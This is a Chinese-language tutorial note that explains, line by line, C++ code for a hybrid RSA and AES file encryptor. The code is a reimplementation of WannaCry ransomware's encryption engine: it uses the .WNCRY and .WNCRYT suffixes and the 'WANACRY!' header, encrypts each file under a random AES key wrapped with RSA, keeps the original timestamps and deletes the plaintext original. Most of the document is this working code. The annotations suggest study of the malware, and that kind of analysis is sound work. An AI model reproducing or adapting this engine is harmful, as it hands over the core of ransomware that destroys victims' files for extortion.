---
# System prepended metadata

title: 14_EZHybrid

---

---
title : 14_EZHybrid
---


# EZHybrid

by WL, Liu
Date : 2021-10-22

---
## 壹、簡介
混合式加密程式碼的實現，在標頭檔引入RSA，在程式引入AES進行加密。

## 標頭檔
```cpp=
#pragma once
#include "EZRSA.h"

#define EZH_SRCBUFFERSIZE	0x10000
#define EZH_IOBUFFERSIZE	0x100000

#define EZH_SUFFIX_CIPHER _T(".WNCRY")
#define EZH_SUFFIX_TEMP _T(".WNCRYT")

#define EZH_MAGIC "WANACRY!"
#define EZH_ENCRYPT  4

```
* 第7行，加密檔案之副檔名。
* 第8行，加密暫存檔之副檔名。
* 第11行，加密模式。
```cpp=13
class EZHybrid
{
	PEZRSA m_pEncRSA;
	PEZRSA m_pDecRSA;
	PUCHAR m_InBuffer;
	PUCHAR m_OutBuffer;
```
* 第15行，RSA加密物件。
* 第16行，RSA解密物件。
* 第17行，緩衝記憶體輸入。
* 第18行，緩衝記憶體輸出。
```cpp=19
public:
	EZHybrid();
	~EZHybrid();
	BOOL GenKey();
	BOOL ImportPublicKey(PUCHAR, ULONG);
	BOOL ImportPrivateKey(PUCHAR, ULONG);
	BOOL ImportPublicKey(LPCTSTR);
	BOOL ImportPrivateKey(LPCTSTR);
	BOOL Encrypt(LPCTSTR);
	BOOL Decrypt(LPCTSTR);
};

typedef EZHybrid* PEZHybrid;
```
* 第22行，亂數產生金鑰。
* 第23行，匯入公鑰。
* 第24行，匯入私鑰。
* 第25行，匯入公鑰檔。
* 第26行，匯入私鑰檔。
* 第27行，檔案加密。
* 第28行，檔案解密。

## 主程式
```cpp=
#include "../config.h"
#include "../Common/hexdump.h"
#include "../Common/ezfile.h"
#include "EZAES.h"
#include "EZHybrid.h"

static BOOL GenRandom(
	PUCHAR pbBuffer,
	ULONG cbBuffer)
{
	NTSTATUS status = BCryptGenRandom(
		NULL,
		pbBuffer,
		cbBuffer,
		BCRYPT_USE_SYSTEM_PREFERRED_RNG);
	if (!NT_SUCCESS(status))
	{
		DEBUG("BCryptGenRandom returns 0x%x\n",
			status);
		return FALSE;
	}
	return TRUE;
}

```
* 第7行，記憶體中產生亂數。
* 第8行，記憶體地址。
* 第9行，記憶體大小。
* 第11行到第15行，指定記憶體大小並產生亂數。
### 開始加密
```cpp=25
EZHybrid::EZHybrid()
{
	m_pEncRSA = NULL;
	m_pDecRSA = NULL;
	m_InBuffer = (PUCHAR)HeapAlloc(
		GetProcessHeap(),
		0,
		EZH_IOBUFFERSIZE);
	m_OutBuffer = (PUCHAR)HeapAlloc(
		GetProcessHeap(),
		0,
		EZH_IOBUFFERSIZE);
	return;
}

```
* 第29到第32行，輸入緩衝區。
* 第33到第36行，輸出緩衝區。
### 結束加密
```cpp=40
EZHybrid::~EZHybrid()
{
	if (m_pEncRSA) {
		delete m_pEncRSA;
		m_pEncRSA = NULL;
	}
	if (m_pDecRSA) {
		delete m_pDecRSA;
		m_pDecRSA = NULL;
	}
	if (m_InBuffer) {
		HeapFree(GetProcessHeap(), 0, m_InBuffer);
		m_InBuffer = NULL;
	}
	if (m_OutBuffer) {
		HeapFree(GetProcessHeap(), 0, m_OutBuffer);
		m_OutBuffer = NULL;
	}
	return;
}

```
* 第43行，刪除RSA加密物件。
* 第44行，參數歸零。
* 第47行，刪除RSA解密物件。
* 第48行，參數歸零。
* 第51行，釋放緩衝區。
* 第52行，參數歸零。
* 第55行，釋放緩衝區。
* 第56行，參數歸零。
### 產生RSA加密物件
```cpp=61
BOOL EZHybrid::GenKey()
{
	if (!m_pEncRSA) {
		m_pEncRSA = new EZRSA();
		if (!m_pEncRSA) {
			return FALSE;
		}
	}
	return m_pEncRSA->GenKey();
}

```
* 第64行，產生新的RSA加密物件。
* 第69行，產生新的金鑰。
### 匯入公鑰
```cpp=72
BOOL EZHybrid::ImportPublicKey(
	PUCHAR pbPublicBlob,
	ULONG cbPublicBlob)
{
	if (!m_pEncRSA) {
		m_pEncRSA = new EZRSA();
		if (!m_pEncRSA) {
			return FALSE;
		}
	}
	BOOL bResult = m_pEncRSA->Import(
		BCRYPT_RSAPUBLIC_BLOB,
		pbPublicBlob,
		cbPublicBlob);
	return bResult;
}

```
* 第77行，產生新的RSA加密物件。
* 第82行，匯入公鑰。
### 匯入私鑰
```cpp=89
BOOL EZHybrid::ImportPrivateKey(
	PUCHAR pbPrivateBlob,
	ULONG cbPrivateBlob)
{
	if (!m_pDecRSA) {
		m_pDecRSA = new EZRSA();
		if (!m_pDecRSA) {
			return FALSE;
		}
	}
	BOOL bResult = m_pDecRSA->Import(
		BCRYPT_RSAPRIVATE_BLOB,
		pbPrivateBlob,
		cbPrivateBlob);
	return bResult;
}
```
* 第94行，產生新的RSA解密物件。
* 第99行，匯入私鑰。
### 匯入公鑰
```cpp=105
BOOL EZHybrid::ImportPublicKey(
	LPCTSTR PublicBlobFile)
{
	if (!m_pEncRSA) {
		m_pEncRSA = new EZRSA();
		if (!m_pEncRSA) {
			return FALSE;
		}
	}
	BOOL bResult = m_pEncRSA->Import(
		BCRYPT_RSAPUBLIC_BLOB,
		PublicBlobFile);
	return bResult;
}

```
* 第109行，產生新的RSA加密物件。
* 第114行，匯入公鑰。
### 匯入私鑰
```cpp=120
BOOL EZHybrid::ImportPrivateKey(
	LPCTSTR PrivateBlobFile)
{
	if (!m_pDecRSA) {
		m_pDecRSA = new EZRSA();
		if (!m_pDecRSA) {
			return FALSE;
		}
	}
	BOOL bResult = m_pDecRSA->Import(
		BCRYPT_RSAPRIVATE_BLOB,
		PrivateBlobFile);
	DEBUG("ImportPrivateKey: return %d\n",
		bResult);
	return bResult;
}



```
* 第124行，產生新的RSA解密物件。
* 第129行，匯入公鑰。
### AES加密
```cpp=139
BOOL EZHybrid::Encrypt(
	LPCTSTR pFileName)
{
	UCHAR abMagic[8];
	ULONG cbCipherKey;
	UCHAR abCipherKey[0x200];
	ULONG EncryptOP = EZH_ENCRYPT;
	ULONG nCryptType = 0;
	LARGE_INTEGER ddwFileSize;
	PEZAES pAES = NULL;
	UCHAR abKey[16];
	HANDLE hFile = INVALID_HANDLE_VALUE;
	HANDLE hWrite = INVALID_HANDLE_VALUE;
	ULONG cbRead = NULL, cbWrite = NULL;
	FILETIME CreationTime;
	FILETIME LastAccessTime;
	FILETIME LastWriteTime;
	BOOL bResult = TRUE;
	PUCHAR pbInBlock = m_InBuffer;
	ULONG cbInBlock = 0;
	PUCHAR pbOutBlock = m_InBuffer;
	ULONG cbOutBlock = 0;
	TCHAR pTempFile[MAX_PATH];
	TCHAR pTarget[MAX_PATH];
```
* 第142到第163行，加密所需參數。
* 第143行，已加密的AES金鑰大小。
* 第144行，以加密的AES金鑰。
* 第145行，加密模式。
* 第147行，檔案大小。
* 第148行，AES加密物件。
* 第149行，未加密之金鑰。
* 第150行，檔案讀取之handle。
* 第151行，檔案寫入之hamdle。
* 第152行，讀取及寫入之大小，都先設為NULL。
* 第153行，檔案生成時間。
* 第154行，檔案存取時間。
* 第155行，檔案更新時間。
* 第157行，輸入緩衝區。
* 第158行，輸入緩衝區大小。
* 第159行，輸出緩衝區。
* 第160行，輸出緩衝區大小。
* 第161行，暫存檔檔名。
* 第162行，輸出檔檔名。
```cpp=163
	if (!m_pEncRSA) {
		DEBUG("m_EncRSA is NULL, please call ImportPublicKey()\n");
		return FALSE;
	}
	DEBUG("Encrypt %s\n", pFileName);
	_tcscpy_s(pTarget, MAX_PATH, pFileName);
	LPTSTR pSuffix = (LPTSTR)_tcsrchr(pTarget, _T('.'));
	if (!pSuffix) {
		_tcscat_s(pTarget, MAX_PATH,
			EZH_SUFFIX_CIPHER);
	}
	else {
		if (!_tcsicmp(pSuffix,
			EZH_SUFFIX_CIPHER) ||
			!_tcsicmp(pSuffix,
				EZH_SUFFIX_TEMP)) {
			return TRUE;
		}
		else {
			_tcscat_s(pSuffix,
				MAX_PATH - _tcslen(pFileName),
				EZH_SUFFIX_CIPHER);
		}
	}
	//	}
```
* 第168行，取得檔名。
* 第169行，取得副檔名("."之後的字串)。
* 第175行，檢查是否為加密檔。
* 第182到第184行，若不是，加密檔副檔名。
```cpp=188
	if (!(hFile = CreateFile(
		pFileName,
		GENERIC_READ | GENERIC_WRITE,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL)))
	{
		DEBUG("Open %s for read error\n",
			pFileName);
		return FALSE;
	}
	DEBUG("Open %s for read\n", pFileName);
	ddwFileSize.QuadPart = 0;
	GetFileTime(
		hFile,
		&CreationTime,
		&LastAccessTime,
		&LastWriteTime);
```
* 第188行，開啟欲加密的檔案。
* 第202行，ddwFileSize屬於LARGE_INTEGER的型別，LARGE_INTEGER的結構如下:
```cpp
typedef union _LARGE_INTEGER {
  struct {
    DWORD LowPart;
    LONG  HighPart;
  } DUMMYSTRUCTNAME;
  struct {
    DWORD LowPart;
    LONG  HighPart;
  } u;
  LONGLONG QuadPart;
} LARGE_INTEGER;
```
&emsp;&emsp; DUMMYSTRUCTNAME由2部分组成。前面是低位的32位整数LowPart。後面就是高位的整数。u亦是如此。LARGE_INTEGER等價於LONGLONG的时候，也就是將此64位整数赋值。
* 第203行，取得檔案生成、存取及更新時間。
```cpp=208
	if (ReadFile_DEBUG(
		hFile,
		abMagic,
		sizeof(abMagic),
		&cbRead,
		0) &&
		!memcmp(abMagic, EZH_MAGIC, sizeof(abMagic)) &&
		ReadFile_DEBUG(
			hFile,
			&cbCipherKey,
			sizeof(cbCipherKey),
			&cbRead,
			0) &&
		cbCipherKey <= sizeof(abCipherKey) &&
		cbCipherKey == 0x100 &&
		ReadFile_DEBUG(
			hFile,
			abCipherKey,
			0x100,
			&cbRead,
			0) &&
		ReadFile_DEBUG(
			hFile,
			&nCryptType,
			sizeof(nCryptType),
			&cbRead,
			0) &&
		ReadFile_DEBUG(
			hFile,
			&ddwFileSize.QuadPart,
			sizeof(ddwFileSize),
			&cbRead,
			0) &&
		nCryptType == EncryptOP) {
        	CloseHandle(hFile);
		hFile = INVALID_HANDLE_VALUE;
		DEBUG("Exit\n");
		return TRUE;
	}
```
* 第208到第213行，讀取檔案標頭，並儲存於第152所設定之參數，以便表示錯誤原因。
* 第214行，檢測是否為magic。
* 第215到第220行，讀取已加密金鑰之大小，並儲存於第152所設定之參數，以便表示錯誤原因。
* 第223到第228行，讀取已加密金鑰，並儲存於第152所設定之參數，以便表示錯誤原因。
* 第229到第234行，讀取加密型態，並儲存於第152所設定之參數，以便表示錯誤原因。
* 第235到第240行，讀取檔案大小，並儲存於第152所設定之參數，以便表示錯誤原因。
* 第241行，確定加密模式與第229到第234行讀取之相同。
* 第242到第245行，前述讀取皆成功且形態正確，表示已成功加密檔案，故無需加密可直接離開。否則，繼續下面程式碼進行加密。
```cpp=247
	DEBUG("Write\n");
	GetFileSizeEx(hFile, &ddwFileSize);
	SetFilePointer(hFile, 0, 0, FILE_BEGIN);
	DEBUG("FileSize: %lld\n", ddwFileSize.QuadPart);
	_stprintf_s(pTempFile, MAX_PATH,
		_T("%s%s"), pFileName, EZH_SUFFIX_TEMP);
	if ((hWrite = CreateFile(
		pTempFile,
		GENERIC_WRITE,
		FILE_SHARE_READ,
		NULL, CREATE_ALWAYS,
		FILE_ATTRIBUTE_NORMAL,
		NULL)) == INVALID_HANDLE_VALUE) {
		DEBUG("Open temp file %s error\n",
			pTempFile);
		CloseHandle(hFile);
		hFile = INVALID_HANDLE_VALUE;
		DEBUG("Open %s for write error\n", pTempFile);
		return FALSE;
	}
	GenRandom(abKey, sizeof(abKey));
	m_pEncRSA->Encrypt(
		abKey,
		sizeof(abKey),
		abCipherKey,
		sizeof(abCipherKey),
		&cbCipherKey);
	pAES = new EZAES();
	pAES->GenKey(abKey, sizeof(abKey));
	if (!WriteFile(hWrite,
		EZH_MAGIC, 8, &cbWrite, 0) ||
		!WriteFile(hWrite,
			&cbCipherKey, sizeof(cbCipherKey), &cbWrite, 0) ||
		!WriteFile(hWrite,
			abCipherKey, cbCipherKey, &cbWrite, 0) ||
		!WriteFile(hWrite,
			&EncryptOP, sizeof(EncryptOP), &cbWrite, 0) ||
		!WriteFile(hWrite,
			&ddwFileSize.QuadPart,
			sizeof(ddwFileSize.QuadPart),
			&cbWrite,
			0)) {
		DEBUG("Write header error %s\n",
			pTempFile);
		goto Error_Exit;
	}
```
* 第248行，取得檔案大小。
* 第249行，設置至檔案起始位置。
* 第251及第252行，產生暫存檔之檔名，使用第8行所定義之副檔名。
* 第253到第266行，創造一暫存檔，並將handle回傳至第150行定義之參數。
* 第267行，以亂數產生AES密碼。
* 第268到第273行，以RSA對該密碼進行加密。
* 第274行，開啟新空間，以使用AES對檔案加密。
* 第275行，使用第267行之密碼，產生AES金鑰。
* 第276及第277行，寫出Magic。
* 第278及第279行，寫出已加密金鑰大小。
* 第280及第281行，寫出已加密金鑰。
* 第282及第283行，寫出加密模式。
* 第284到第288行，寫出檔案大小。
* 第291行，Error_Exit寫在第359到第369行，若發生錯誤時，關閉檔案回傳FALSE並離開。後面亦有出現，會將其忽略，到第359到第369行再詳細說明。
```cpp=293
	DEBUG("EncryptOP %p\n", &EncryptOP);
	hexdump((PUCHAR)&EncryptOP, sizeof(EncryptOP));
	ULONG cbData;
	LARGE_INTEGER cbSize;
	cbSize.QuadPart = ddwFileSize.QuadPart;
	while (cbSize.QuadPart > 0) {
		cbInBlock = cbSize.QuadPart < EZH_IOBUFFERSIZE ?
			cbSize.LowPart : EZH_IOBUFFERSIZE;
		if (!ReadFile(
			hFile,
			pbInBlock,
			cbInBlock,
			&cbRead,
			0) || cbRead != cbInBlock) {
			DEBUG("Read Block error %s\n",
				pFileName);
			goto Error_Exit;
		}
		cbOutBlock = ((cbInBlock + 15) >> 4) << 4;
		if (cbOutBlock > cbInBlock) {
			ZeroMemory(pbInBlock + cbInBlock,
				cbOutBlock - cbInBlock);
		}
		pAES->Encrypt(
			pbInBlock,
			cbOutBlock,
			pbOutBlock,
			EZH_IOBUFFERSIZE,
			&cbData);
		if (!WriteFile(
			hWrite,
			pbOutBlock,
			cbOutBlock,
			&cbWrite,
			0) || cbWrite != cbOutBlock) {
			DEBUG("Write Block error %s\n",
				pTempFile);
			goto Error_Exit;
		}
		cbSize.QuadPart -= cbInBlock;
	}
	//	}
	SetFileTime(hWrite,
		&CreationTime,
		&LastAccessTime,
		&LastWriteTime);

	//	if (EncryptOP == DO_ENCRYPT) {
	CloseHandle(hWrite);
	CloseHandle(hFile);
	hWrite = INVALID_HANDLE_VALUE;
	hFile = INVALID_HANDLE_VALUE;
	bResult = MoveFile(pTempFile, pTarget);
	if (bResult) {
		SetFileAttributes(pTarget,
			FILE_ATTRIBUTE_NORMAL);
		DeleteFile(pFileName);
	}
	else {
		DeleteFile(pTempFile);
	}
	if (pAES) {
		delete pAES;
		pAES = NULL;
	}
	return bResult;
Error_Exit:
	CloseHandle(hWrite);
	hWrite = INVALID_HANDLE_VALUE;
	CloseHandle(hFile);
	hFile = INVALID_HANDLE_VALUE;
	if (pAES) {
		delete pAES;
		pAES = NULL;
	}
	return FALSE;
}



```
### AES解密
```cpp=373
BOOL EZHybrid::Decrypt(LPCTSTR pFileName)
{
	TCHAR pTempFile[MAX_PATH];
	TCHAR pTarget[MAX_PATH];
	UCHAR abMagic[8];
	ULONG cbCipherKey;
	UCHAR abCipherKey[0x200];
	ULONG nCryptType = 0;
	LARGE_INTEGER ddwFileSize;
	UCHAR abKey[0x200];
	ULONG cbKey;
	PEZAES pAES = NULL;
	HANDLE hFile = INVALID_HANDLE_VALUE;
	HANDLE hWrite = INVALID_HANDLE_VALUE;
	ULONG cbRead, cbWrite;
	FILETIME CreationTime;
	FILETIME LastAccessTime;
	FILETIME LastWriteTime;
	PUCHAR pbInBlock = m_InBuffer;
	ULONG cbInBlock = 0;
	PUCHAR pbOutBlock = m_OutBuffer;
	ULONG cbOutBlock = 0;
	BOOL bResult = TRUE;
	if (!m_pDecRSA) {
		DEBUG("m_DecRSA is NULL, please call ImportPrivateKey()\n");
		return FALSE;
	}
	DEBUG("Decrypt %s\n", pFileName);
	if ((hFile = CreateFile(
		pFileName,
		GENERIC_READ | GENERIC_WRITE,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL)) == INVALID_HANDLE_VALUE) {
		return FALSE;
	}
	GetFileTime(
		hFile,
		&CreationTime,
		&LastAccessTime,
		&LastWriteTime);
	if (ReadFile(hFile, abMagic,
		sizeof(abMagic), &cbRead, 0) &&
		!memcmp(abMagic, EZH_MAGIC,
			sizeof(abMagic)) &&
		ReadFile(hFile, &cbCipherKey,
			sizeof(cbCipherKey), &cbRead, 0) &&
		cbCipherKey <= sizeof(abCipherKey) &&
		cbCipherKey == 0x100 &&
		ReadFile(hFile, abCipherKey,
			0x100, &cbRead, 0) &&
		ReadFile(hFile, &nCryptType,
			sizeof(nCryptType), &cbRead, 0) &&
		nCryptType == EZH_ENCRYPT &&
		ReadFile(hFile, &ddwFileSize.QuadPart,
			sizeof(ddwFileSize.QuadPart), &cbRead, 0)) {
		_tcscpy_s(pTarget, MAX_PATH, pFileName);
		LPTSTR pSuffix = _tcsrchr(pTarget, _T('.'));
		DEBUG("magic:\n");
		hexdump(abMagic, sizeof(abMagic));
		if (pSuffix) {
			if (!_tcsicmp(pSuffix, EZH_SUFFIX_CIPHER)) {
				*pSuffix = _T('\0');
			}
			else {
				_stprintf_s(pTarget, MAX_PATH, _T("%s%s"),
					pFileName, _T(".decoded"));
			}
		}

		_stprintf_s(pTempFile, MAX_PATH,
			_T("%s%s"), pFileName, EZH_SUFFIX_TEMP);
		if ((hWrite = CreateFile(
			pTempFile,
			GENERIC_WRITE,
			FILE_SHARE_READ,
			NULL,
			CREATE_ALWAYS,
			FILE_ATTRIBUTE_NORMAL, NULL))
			== INVALID_HANDLE_VALUE) {
			DEBUG("CreateFile %s fails\n",
				pTarget);
			goto Error_Exit;
		}
		LARGE_INTEGER cbSize;

		pAES = new EZAES();
		m_pDecRSA->Decrypt(
			abCipherKey,
			cbCipherKey,
			abKey,
			sizeof(abKey),
			&cbKey);
		if (cbKey != 16) {
			_tprintf(_T("error: cbKey=%d not 16\n"), cbKey);
			goto Error_Exit;
		}
		pAES->GenKey(abKey, cbKey);

		ULONG cbData;
		for (cbSize.QuadPart = ddwFileSize.QuadPart;
			cbSize.QuadPart > 0;
			cbSize.QuadPart -= cbOutBlock) {
			cbOutBlock =
				cbSize.QuadPart < EZH_IOBUFFERSIZE ?
				cbSize.LowPart : EZH_IOBUFFERSIZE;
			cbInBlock = ((cbOutBlock + 15) >> 4) << 4;
			if (!ReadFile(
				hFile,
				pbInBlock,
				cbInBlock,
				&cbRead, 0) || cbRead != cbInBlock) {
				goto Error_Exit;
			}

			pAES->Decrypt(
				pbInBlock,
				cbInBlock,
				pbOutBlock,
				EZH_IOBUFFERSIZE,
				&cbData);
			if (!WriteFile(
				hWrite,
				pbOutBlock,
				cbOutBlock,
				&cbWrite,
				0) || cbWrite != cbOutBlock) {
				DEBUG("Write block error %s\n",
					pTarget);
				goto Error_Exit;
			}

		}
		SetFileTime(hWrite,
			&CreationTime,
			&LastAccessTime,
			&LastWriteTime);
		//		}
	}
	else {
		CloseHandle(hFile);
		hFile = INVALID_HANDLE_VALUE;
		return TRUE;
	}

	CloseHandle(hWrite);
	CloseHandle(hFile);
	hWrite = INVALID_HANDLE_VALUE;
	hFile = INVALID_HANDLE_VALUE;
	bResult = MoveFileEx(
		pTempFile,
		pTarget,
		MOVEFILE_REPLACE_EXISTING);
	if (bResult) {
		DeleteFile(pFileName);
	}
	if (pAES) {
		delete pAES;
		pAES = NULL;
	}
	return bResult;
Error_Exit:
	CloseHandle(hWrite);
	hWrite = INVALID_HANDLE_VALUE;
	CloseHandle(hFile);
	hFile = INVALID_HANDLE_VALUE;
	if (pAES) {
		delete pAES;
		pAES = NULL;
	}
	return FALSE;
}
```